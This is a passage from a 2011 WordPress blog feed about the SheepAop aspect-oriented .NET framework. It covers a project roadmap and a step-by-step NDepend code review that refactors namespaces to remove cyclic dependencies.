The ability to associate the state of an aspect to a specific program context allows rich yet elegant aspect-oriented solutions, often affecting only a modest number of areas, but would otherwise require potentally a significantly larger complexity, if possible at all, using conventional (singleton) AOP solutions.<br />
Later in the series, we will explore how you can create your own aspect-lifecycle implementations, such as PerHttpSessionLifecycle, or PerHttpRequestLifecycle</p>
<br /> Tagged: <a href='http://hendryluk.wordpress.com/tag/sheepaspect/'>SheepAspect</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hendryluk.wordpress.com/1199/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hendryluk.wordpress.com/1199/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hendryluk.wordpress.com/1199/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hendryluk.wordpress.com/1199/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hendryluk.wordpress.com/1199/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hendryluk.wordpress.com/1199/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hendryluk.wordpress.com/1199/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hendryluk.wordpress.com/1199/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hendryluk.wordpress.com/1199/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hendryluk.wordpress.com/1199/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hendryluk.wordpress.com/1199/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hendryluk.wordpress.com/1199/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hendryluk.wordpress.com/1199/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hendryluk.wordpress.com/1199/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=1199&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hendryluk.wordpress.com/2011/05/17/part-3-aspect-lifecycles-the-narrative/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6da01884f4c56e4affdde6e9317ee466?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Hendry Luk</media:title>
		</media:content>
	</item>
		<item>
		<title>SheepAop Road Map</title>
		<link>http://hendryluk.wordpress.com/2011/05/16/sheepaop-road-map/</link>
		<comments>http://hendryluk.wordpress.com/2011/05/16/sheepaop-road-map/#comments</comments>
		<pubDate>Mon, 16 May 2011 08:37:24 +0000</pubDate>
		<dc:creator>Hendry Luk</dc:creator>
				<category><![CDATA[Software Development]]></category>
		<category><![CDATA[SheepAspect]]></category>

		<guid isPermaLink="false">http://hendryluk.wordpress.com/?p=1177</guid>
		<description><![CDATA[People have asked me what my next plans are for the project. So here&#8217;s a quick list of some works I got lined up for SheepAop, ordered by priority: Documenting and posting blog articles. Writing has always been, and will forever be, astronomically tedious and majestically mind-numbing. There has been zero coding activity in SheepAop [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=1177&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>People have asked me what my next plans are for the project. So here&#8217;s a quick list of some works I got lined up for SheepAop, ordered by priority:</p>
<ol>
<li>Documenting and posting blog articles.<br />
Writing has always been, and will forever be, astronomically tedious and majestically mind-numbing. There has been zero coding activity in SheepAop for a good couple of weeks now since I started the documentation work; and it&#8217;s still nowhere near finish.<br />
Writing is depressing, often suicidal. That&#8217;s a universal truth. But an open-source project is only as useful as how much people know how to use it. So this has to be done as my utmost priority before I embark on any further development effort.</li>
<li>Looking into all those NDepend inspection warnings and refactor accordingly. (I&#8217;ll blog about the whole process).</li>
<li>SAQL Query Analyzer.<br />
This would be a fantastic tool to get a visual understanding on SheepAop pointcuts and various SAQL expressions. It will help the learning curve, and ultimately the adoption of SheepAop. One small catch: I&#8217;m technically daft and aesthetically hopeless at GUI design.</li>
<li>CFlow pointcuts. Ability to use the control-flows of the program as part of your pointcut expressions. (e.g.: The pointcut of a dirty-tracking aspect should not match property-settings called from within the control flow of the object constructor). Based on AspectJ feature with the same name.</li>
<li>Working on a few pointcut types, SAQL criteria, and aspect-lifecycles that are currently unimplemented (most importantly: the Constructor and Instantiation pointcuts)</li>
<li>Add features to help unit-testing</li>
<li>Support &#8220;ImplementInterface&#8221; advice</li>
<li>Support &#8220;Mixin&#8221; advice</li>
</ol>
<p>Quite a fat pipeline ahead. It will keep me busy for at least the next couple of months.</p>
<br /> Tagged: <a href='http://hendryluk.wordpress.com/tag/sheepaspect/'>SheepAspect</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hendryluk.wordpress.com/1177/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hendryluk.wordpress.com/1177/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hendryluk.wordpress.com/1177/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hendryluk.wordpress.com/1177/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hendryluk.wordpress.com/1177/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hendryluk.wordpress.com/1177/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hendryluk.wordpress.com/1177/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hendryluk.wordpress.com/1177/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hendryluk.wordpress.com/1177/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hendryluk.wordpress.com/1177/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hendryluk.wordpress.com/1177/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hendryluk.wordpress.com/1177/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hendryluk.wordpress.com/1177/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hendryluk.wordpress.com/1177/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=1177&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hendryluk.wordpress.com/2011/05/16/sheepaop-road-map/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6da01884f4c56e4affdde6e9317ee466?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Hendry Luk</media:title>
		</media:content>
	</item>
		<item>
		<title>SheepAop Code Review with NDepend (Part I)</title>
		<link>http://hendryluk.wordpress.com/2011/05/11/sheepaop-code-review-with-ndepend-part-i/</link>
		<comments>http://hendryluk.wordpress.com/2011/05/11/sheepaop-code-review-with-ndepend-part-i/#comments</comments>
		<pubDate>Wed, 11 May 2011 15:21:38 +0000</pubDate>
		<dc:creator>Hendry Luk</dc:creator>
				<category><![CDATA[Software Development]]></category>
		<category><![CDATA[NDepend]]></category>
		<category><![CDATA[SheepAspect]]></category>

		<guid isPermaLink="false">https://hendryluk.wordpress.com/2011/05/11/sheepaop-code-review-with-ndepend-part-i/</guid>
		<description><![CDATA[Now that SheepAop has reached its first milestone, I think it’s time to stop for a moment and review the code to discover potential code-smells before I engage any further development. I’ll use NDepend for our code-review exercise today, and I&#8217;ll be doing it live while I’m reviewing the code, refactor, and write it down [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=1144&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Now that <a href="http://sheepaop.codeplex.com/" target="_blank">SheepAop</a> has reached its first milestone, I think it’s time to stop for a moment and review the code to discover potential code-smells before I engage any further development.<br />
I’ll use <a href="http://www.ndepend.com/" target="_blank">NDepend</a> for our code-review exercise today, and I&#8217;ll be doing it <em>live</em> while I’m reviewing the code, refactor, and write it down on this post on every step as I go along.</p>
<h1>Dependency Graph</h1>
<p><a href="http://hendryluk.files.wordpress.com/2011/05/clip_image0024.jpg"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:0;" title="clip_image002[4]" src="http://hendryluk.files.wordpress.com/2011/05/clip_image0024_thumb.jpg?w=714&#038;h=386" alt="clip_image002[4]" width="714" height="386" border="0" /></a></p>
<p>The very first thing I did was to check the dependency graph to get an overall understanding about the structure of the code. To my surprise, the dependencies did not immediately look quite as obvious as the picture I had in my head.</p>
<p>A large part of the graph still fits very well with what I expected:</p>
<ol>
<li>There are some helper-classes and exceptions down at the bottom, which contain general-purpose classes that help streamline our contact with the outside world (.net collections, mono-cecil, etc). These helpers are common and should be completely agnostic to anything SheepAop, which is confirmed by this graph: there’s no line coming out from these modules.</li>
<li><strong>SheepAop.Aspects</strong> contains a set of out-of-the-box sample implementations of SheepAop aspects. They&#8217;re not part of the framework, so I don&#8217;t expect to see anything SheepAop to reference it. The graph agrees.</li>
<li>SAQL is a DSL layer on top of SheepAop API. The core machinery of SheepAop should be completely agnostic of SAQL. The graph looks fine: all <strong>Saql</strong> namespaces appear to be left alone by the rest of the town.</li>
<li>SheepAop is designed so that making new Advice implementations should be easy because it’s the one part in SheepAop that will change (and be added) the most. For that reason, all advice classes should be external to the core so that it’s easy to plug new ones. The graph seems to agree with that. There are currently only 2 advices in SheepAop: <strong>AroundAdvice</strong> and <strong>LifecycleAdvice</strong>, and the graph shows no arrow pointing to that direction. (Except the unexpected arrow from <strong>Pointcuts</strong> to <strong>AroundAdvising</strong>, which we’ll explore below).</li>
</ol>
<h1>Potential Problems</h1>
<p>There are, however, few things that I was not categorically pleased. I’ll list them all as a note for now, even though I’m not sure whether or not they turn out to be code-smells. But we will investigate each one of them later on.</p>
<ol>
<li>I was surprised to see how much <strong>SheepAop.Compile</strong> namespace assumes such a central role in the whole architecture. Its responsibility is supposed to be limited to the compilation part of SheepAop. It should depend on other SheepAop components to do this task, but conversely the other components should NOT have much interest in the compilation business. The graph, however, shows that almost every part of SheepAop depends on the compiler, which doesn’t seem right.</li>
<li>As mentioned above (in point#4), SheepAop Advice classes should be pluggable modules that adding new ones should be cheap and easy. I’m quite curious about why <strong>SheepAop.Pointcuts</strong> namespace has any hard reference to <strong>AroundAdvice</strong>.</li>
<li>I also did not expect to see <strong>SheepAop.Core</strong> to depend on the <strong>Runtime</strong> component and <strong>Attributes</strong>. Attributes is supposed to provide users with a friendly interface to interact with the core SheepAop API. What’re the attributes possibly doing that makes them so critical even the core engine has to depend on it?</li>
<li>Like Advices, <strong>Lifecycles</strong> needs to be a pluggable thing so that it’s easy to add new ones (I’m still developing some as we speak), as well as for users to make their own custom Lifecycles to be plugged to SheepAop. I was hoping not to see any hard reference from the <strong>Core</strong> to <strong>Lifecycles</strong> if I can help it. We’ll see what we can do.</li>
<li>(After the first refactoring below) We have cyclic dependencies between <strong>Core</strong>&lt;-&gt;<strong>Pointcut</strong>. We’ll investigate this. Probably <em>Pointcut </em>should really be part of the Core, considering how central the role it plays in SheepAop.</li>
</ol>
<h1>Investigation</h1>
<p>Let’s now investigate each of them. I&#8217;ll start from the first one.</p>
<h3><strong>1. </strong><strong>Everything -&gt; SheepAop.Compiler</strong></h3>
<p>There are currently several dependencies toward the compiler which we want to get rid of. I’ll start with the most worrying one: the circular dependency between the <strong>Compiler</strong> and the <strong>Core</strong>.</p>
<p><a href="http://hendryluk.files.wordpress.com/2011/05/clip_image0034.png"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:0;" title="clip_image003[4]" src="http://hendryluk.files.wordpress.com/2011/05/clip_image0034_thumb.png?w=614&#038;h=467" alt="clip_image003[4]" width="614" height="467" border="0" /></a></p>
<p>The one I need to look out for is the reference INTO the Compiler (<strong><span style="color:#008000;">greens</span></strong> and <strong>blacks</strong>). The answer seems quite obvious here: <em>AdviceBase</em> and <em>AspectDefinition</em> are defined as Compiler components. They are not. They have little to do with compilation. Let’s try moving these classes into the <strong>Core</strong> namespace. If they are indeed part of the <strong>Compiler</strong>, there will appear even more dependencies toward the <strong>Compiler</strong> coming from these classes. I’ll also need to bring along IAdvice and IWeaver since they are depended upon. So let’s try and refactor this.</p>
<p><a href="http://hendryluk.files.wordpress.com/2011/05/clip_image0054.jpg"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:0;" title="clip_image005[4]" src="http://hendryluk.files.wordpress.com/2011/05/clip_image0054_thumb.jpg?w=478&#038;h=454" alt="clip_image005[4]" width="478" height="454" border="0" /></a></p>
<p>Great! The dependencies are now heading to one direction. All the unit-tests still pass. So this one is sorted. Let’s take a look on our next dependency on the Compiler.</p>
<p>Wait, they’re all gone!</p>
<p><a href="http://hendryluk.files.wordpress.com/2011/05/clip_image0064.png"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:0;" title="clip_image006[4]" src="http://hendryluk.files.wordpress.com/2011/05/clip_image0064_thumb.png?w=755&#038;h=417" alt="clip_image006[4]" width="755" height="417" border="0" /></a></p>
<p>No more circular dependency on the Compile components (<span style="color:#ff9900;"><strong>orange</strong></span>). It turns out that those 4 classes we just refactored were the culprit of all the heavy dependencies on the Compiler. As shown by the <span style="color:#008000;"><strong>green</strong></span> blocks, the only components that now depend on our Compiler are our 2 Advices: <strong>AroundAdvice</strong> and <strong>LifecycleAdvice</strong>. That sounds perfectly correct. And the picture is starting to take its shape.</p>
<h3><strong>2. </strong><strong>Pointcuts -&gt; AroundAdvising</strong></h3>
<p>We want all Advices (AroundAdvice in this case) to be decoupled from the framework because it’s one part in SheepAop that will change (and added) the most, so it has to be easy to plug new Advices.</p>
<p>Same deal, I click on the line between Pointcuts and AroundAdvising to view the matrix. (It’s quite a tall picture so I cut out the irrelevant bits).</p>
<p><a href="http://hendryluk.files.wordpress.com/2011/05/clip_image008.jpg"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:0;" title="clip_image008" src="http://hendryluk.files.wordpress.com/2011/05/clip_image008_thumb.jpg?w=526&#038;h=503" alt="clip_image008" width="526" height="503" border="0" /></a></p>
<p>The <strong><span style="color:#008000;">green</span></strong> squares are the ones that shouldn’t be there. I wonder what they are. Let’s check the first one: PropertyPointcut.</p>
<p><a href="http://hendryluk.files.wordpress.com/2011/05/clip_image010.jpg"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:0;" title="clip_image010" src="http://hendryluk.files.wordpress.com/2011/05/clip_image010_thumb.jpg?w=709&#038;h=128" alt="clip_image010" width="709" height="128" border="0" /></a></p>
<p>That’s a method I found in the class. That’s a leftover method I inherit from the old version of SheepAop infrastructure (when Advice was still tightly coupled to the system). I don’t think they still contribute to the new SheepAop infrastructure. I checked the other <strong><span style="color:#008000;">green</span></strong> squares and they all seem to have the same garbage leftovers. Let’s get rid of them and run the unit-tests to make sure it doesn’t break anything.</p>
<p><a href="http://hendryluk.files.wordpress.com/2011/05/clip_image011.png"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:0;" title="clip_image011" src="http://hendryluk.files.wordpress.com/2011/05/clip_image011_thumb.png?w=482&#038;h=374" alt="clip_image011" width="482" height="374" border="0" /></a></p>
<p>Great, all the <strong><span style="color:#008000;">greens</span></strong> are cleared. All unit-tests still pass.</p>
<p><a href="http://hendryluk.files.wordpress.com/2011/05/clip_image013.jpg"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:0;" title="clip_image013" src="http://hendryluk.files.wordpress.com/2011/05/clip_image013_thumb.jpg?w=715&#038;h=399" alt="clip_image013" width="715" height="399" border="0" /></a></p>
<p>Now AroundAdvice is completely decoupled from SheepAop. The graph (<span style="color:#ff9900;"><strong>centered</strong></span> on AroundAdvising) shows no <strong><span style="color:#008000;">green</span></strong>, meaning that there’s nothing in the whole SheepAop that depends on it (except our public Attributes). So this has been another success.</p>
<h3><strong>3.A </strong><strong>SheepAop.Core &lt;-&gt; SheepAop.Runtime</strong></h3>
<p>There are several components that SheepAop.Core is dependent on, which it shouldn’t. Let’s start with the Runtime namespace. SheepAop Core should not depend on its Runtime components.</p>
<p><a href="http://hendryluk.files.wordpress.com/2011/05/clip_image015.jpg"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:0;" title="clip_image015" src="http://hendryluk.files.wordpress.com/2011/05/clip_image015_thumb.jpg?w=292&#038;h=546" alt="clip_image015" width="292" height="546" border="0" /></a></p>
<p>The green ones should not be there. It seems that they are all pointing to 2 method delegates (<em>AdviceInvoker</em> and <em>AdviceCallback</em> at the top), all of which are coming from Joinpoint classes. It makes me feel that those 2 delegates are integral parts of SheepAop Joinpoint system. Maybe I should put them together with the Joinpoint. In fact, I start to feel that these objects warrant their own separate namespace ( “Joinpoint”, instead of piggybacking the “Core” namespace). But first thing first.</p>
<p><a href="http://hendryluk.files.wordpress.com/2011/05/clip_image017.jpg"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:0;" title="clip_image017" src="http://hendryluk.files.wordpress.com/2011/05/clip_image017_thumb.jpg?w=224&#038;h=452" alt="clip_image017" width="224" height="452" border="0" /></a></p>
<p>Great. Now let’s split all those Joinpoint classes to a separate namespace, and hope that the resulting namespaces won’t cause cyclic dependencies.</p>
<p><a href="http://hendryluk.files.wordpress.com/2011/05/clip_image019.jpg"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:0;" title="clip_image019" src="http://hendryluk.files.wordpress.com/2011/05/clip_image019_thumb.jpg?w=754&#038;h=466" alt="clip_image019" width="754" height="466" border="0" /></a></p>
<p>Wow, this is unexpected. Not only that Core and Joinpoint did not end up in a cyclic dependency, there is in fact <strong>no dependency</strong> <strong>at all</strong> between them! They are both unrelated. It really was, after all, a good decision to split them to separate namespaces. But now it makes me wonder about the name. What’s with the name “SheepAop.Core.Joinpoint” if it’s not related to the Core? Since Runtime is the biggest dependent of this namespace, I think I should merge it with Runtime. After all, a join-point is a SheepAop representation model to describe runtime snapshots. Ironically, it turns out that the 2 delegates we pulled out of Runtime namespace were actually at the right place after all.</p>
<p><a href="http://hendryluk.files.wordpress.com/2011/05/clip_image021.jpg"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:0;" title="clip_image021" src="http://hendryluk.files.wordpress.com/2011/05/clip_image021_thumb.jpg?w=742&#038;h=406" alt="clip_image021" width="742" height="406" border="0" /></a></p>
<p>OK, we’re good. Let’s move on.</p>
<h3>3.B SheepAop.Core &lt;-&gt; SheepAop.Attributes</h3>
<p>As explained at the start of this post, Attributes is a facade API for users to interact with SheepAop framework, and it should sit right at the edge, together with SAQL. So why does the Core depend on it?</p>
<p><a href="http://hendryluk.files.wordpress.com/2011/05/image2.png"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:0;" title="image" src="http://hendryluk.files.wordpress.com/2011/05/image_thumb2.png?w=324&#038;h=458" alt="image" width="324" height="458" border="0" /></a><br />
Aha, a black one. SingletonAttribute extends LifecycleAttributeBase, but LifecycleAttributeBase has a static CurrentInstance that defaults to SingletonAttribute. A cyclic.</p>
<p><a href="http://hendryluk.files.wordpress.com/2011/05/image3.png"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:0;" title="image" src="http://hendryluk.files.wordpress.com/2011/05/image_thumb3.png?w=559&#038;h=165" alt="image" width="559" height="165" border="0" /></a></p>
<p>Generally I have no problem with this kind of cyclic dependency because it does not indicate a code smell. But in this particular case, LifecycleAttributeBase needs to be refactored anyway into an ILifecycleProvider interface which will fit better as a Core component. In general, attributes are intended to be used as user API. Doesn’t feel right to see it as a part of the Core engine. So yeah, I&#8217;ll refactor this, and hope that it will also solve the circular dependency.</p>
<p><a href="http://hendryluk.files.wordpress.com/2011/05/image4.png"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:0;" title="image" src="http://hendryluk.files.wordpress.com/2011/05/image_thumb4.png?w=717&#038;h=340" alt="image" width="717" height="340" border="0" /></a></p>
<p>It does. That was quite a big refactoring, but all the unit-tests still pass, so we&#8217;re good. We’re now on a much better state with this refactoring.<br />
As shown by the <strong><span style="color:#008000;">green</span></strong> blocks, the only component that knows anything about SheepAop Attributes (<strong><span style="color:#ff9900;">orange</span></strong>) is now only the Compiler, which sounds fantastically correct. (<em>SheepAop.Aspects</em>, as mentioned earlier, is just a sample implementation of SheepAop. So just ignore it, it’s not part of the framework).</p>
<p>Notice that our refactoring has also cleared the cyclic dependency between the <em>Core</em> and <em>Lifecycle</em>, so we just unconsciously solved the first half of task#4.</p>
<h3>4.A Sheep.Core.Lifecycle &lt;-&gt; Sheep.Core</h3>
<p>(Done)</p>
<h3>4.B Sheep.Aop.Lifecycle &lt;-&gt; SheepAop.Runtime</h3>
<p>To reiterate, we want Lifecycle to be decoupled from the framework so that it’s easy to introduce new ones (which are being developed as we speak), and for users to add their custom ones.</p>
<p><a href="http://hendryluk.files.wordpress.com/2011/05/image5.png"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:0;" title="image" src="http://hendryluk.files.wordpress.com/2011/05/image_thumb5.png?w=637&#038;h=299" alt="image" width="637" height="299" border="0" /></a></p>
<p>Ah this one is easy. IMayHaveAspect is a very specific spare-part of the PerThis lifecycle, so it should really belong in the Lifecycle namespace. So let’s move it.</p>
<p><a href="http://hendryluk.files.wordpress.com/2011/05/image6.png"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:0;" title="image" src="http://hendryluk.files.wordpress.com/2011/05/image_thumb6.png?w=695&#038;h=367" alt="image" width="695" height="367" border="0" /></a></p>
<p>Ah looks much better now.</p>
<h3>5. SheepAop.Core &lt;-&gt; SheepAop.Pointcuts</h3>
<p>I have a strong feeling that Pointcut should be merged into the Core. But let’s see.</p>
<p><a href="http://hendryluk.files.wordpress.com/2011/05/image7.png"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:0;" title="image" src="http://hendryluk.files.wordpress.com/2011/05/image_thumb7.png?w=308&#038;h=574" alt="image" width="308" height="574" border="0" /></a></p>
<p>Ah it looks like the <strong>Core</strong> only <strong><span style="color:#333399;">knows </span>Pointcut</strong> by <em>IPointcut</em> interface and <em>PointcutBase</em>. I think I can move <em>IPointcut</em> to be part of the Core, and refactor the reference to <em>PointcutBase</em> to use the interface instead. (It’s generally a good idea to program against interfaces anyway).</p>
<p><a href="http://hendryluk.files.wordpress.com/2011/05/image8.png"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:0;" title="image" src="http://hendryluk.files.wordpress.com/2011/05/image_thumb8.png?w=310&#038;h=572" alt="image" width="310" height="572" border="0" /></a></p>
<p>Sweet. The cyclic traffic is gone, and the dependency becomes unidirectional: <strong>SheepAop.Pointcut –&gt; SheepAop.Core</strong>, which feels quite right. So this is our final result:</p>
<p><a href="http://hendryluk.files.wordpress.com/2011/05/image9.png"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:0;" title="image" src="http://hendryluk.files.wordpress.com/2011/05/image_thumb9.png?w=685&#038;h=364" alt="image" width="685" height="364" border="0" /></a></p>
<p>Now we can see no more <em><span style="text-decoration:underline;">direct</span></em> cyclic dependency in our code. But I can’t convincingly tell whether there is any <em><span style="text-decoration:underline;">indirect</span></em> circular dependencies in the graph.<br />
The graph is messy. Now that the relationships between the components have changed substantially, I think we should rearrange our graph to better reflect the new shape of our architecture. (I’ll also hide helper classes and exceptions from the graph).</p>
<p><a href="http://hendryluk.files.wordpress.com/2011/05/image10.png"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:0;" title="image" src="http://hendryluk.files.wordpress.com/2011/05/image_thumb10.png?w=618&#038;h=541" alt="image" width="618" height="541" border="0" /></a></p>
<p>The modules are now arranged so that all dependencies flow from top to bottom. The structure of the architecture is now very visible from the graph. As you can see, all arrows are pointing downwards. Or in simple terms: there is no possible circular dependency between our modules, directly or indirectly.</p>
<h1>Next Step</h1>
<p>I think that’s it for today, I&#8217;m calling it a night. We have achieved quite a good result so far. Tomorrow (or whenever I got time), I will continue the review with NDepend Metrics and CQL code-inspections. I can see some warnings already on my NDepend panels indicating some problems detected by NDepend code-inspector. But I’m too tired for the day, so I’ll spare that for the next post.</p>
<p>All refactored code has been <a href="http://sheepaop.codeplex.com/SourceControl/changeset/changes/66772" target="_blank">checked back in</a> to the SheepAop repository. You can check it out if you want to explore the result of today’s refactoring.</p>
<br /> Tagged: <a href='http://hendryluk.wordpress.com/tag/ndepend/'>NDepend</a>, <a href='http://hendryluk.wordpress.com/tag/sheepaspect/'>SheepAspect</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hendryluk.wordpress.com/1144/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hendryluk.wordpress.com/1144/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hendryluk.wordpress.com/1144/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hendryluk.wordpress.com/1144/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hendryluk.wordpress.com/1144/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hendryluk.wordpress.com/1144/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hendryluk.wordpress.com/1144/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hendryluk.wordpress.com/1144/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hendryluk.wordpress.com/1144/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hendryluk.wordpress.com/1144/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hendryluk.wordpress.com/1144/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hendryluk.wordpress.com/1144/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hendryluk.wordpress.com/1144/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hendryluk.wordpress.com/1144/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=1144&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hendryluk.wordpress.com/2011/05/11/sheepaop-code-review-with-ndepend-part-i/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6da01884f4c56e4affdde6e9317ee466?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Hendry Luk</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/05/clip_image0024_thumb.jpg" medium="image">
			<media:title type="html">clip_image002[4]</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/05/clip_image0034_thumb.png" medium="image">
			<media:title type="html">clip_image003[4]</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/05/clip_image0054_thumb.jpg" medium="image">
			<media:title type="html">clip_image005[4]</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/05/clip_image0064_thumb.png" medium="image">
			<media:title type="html">clip_image006[4]</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/05/clip_image008_thumb.jpg" medium="image">
			<media:title type="html">clip_image008</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/05/clip_image010_thumb.jpg" medium="image">
			<media:title type="html">clip_image010</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/05/clip_image011_thumb.png" medium="image">
			<media:title type="html">clip_image011</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/05/clip_image013_thumb.jpg" medium="image">
			<media:title type="html">clip_image013</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/05/clip_image015_thumb.jpg" medium="image">
			<media:title type="html">clip_image015</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/05/clip_image017_thumb.jpg" medium="image">
			<media:title type="html">clip_image017</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/05/clip_image019_thumb.jpg" medium="image">
			<media:title type="html">clip_image019</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/05/clip_image021_thumb.jpg" medium="image">
			<media:title type="html">clip_image021</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/05/image_thumb2.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/05/image_thumb3.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/05/image_thumb4.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/05/image_thumb5.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/05/image_thumb6.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/05/image_thumb7.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

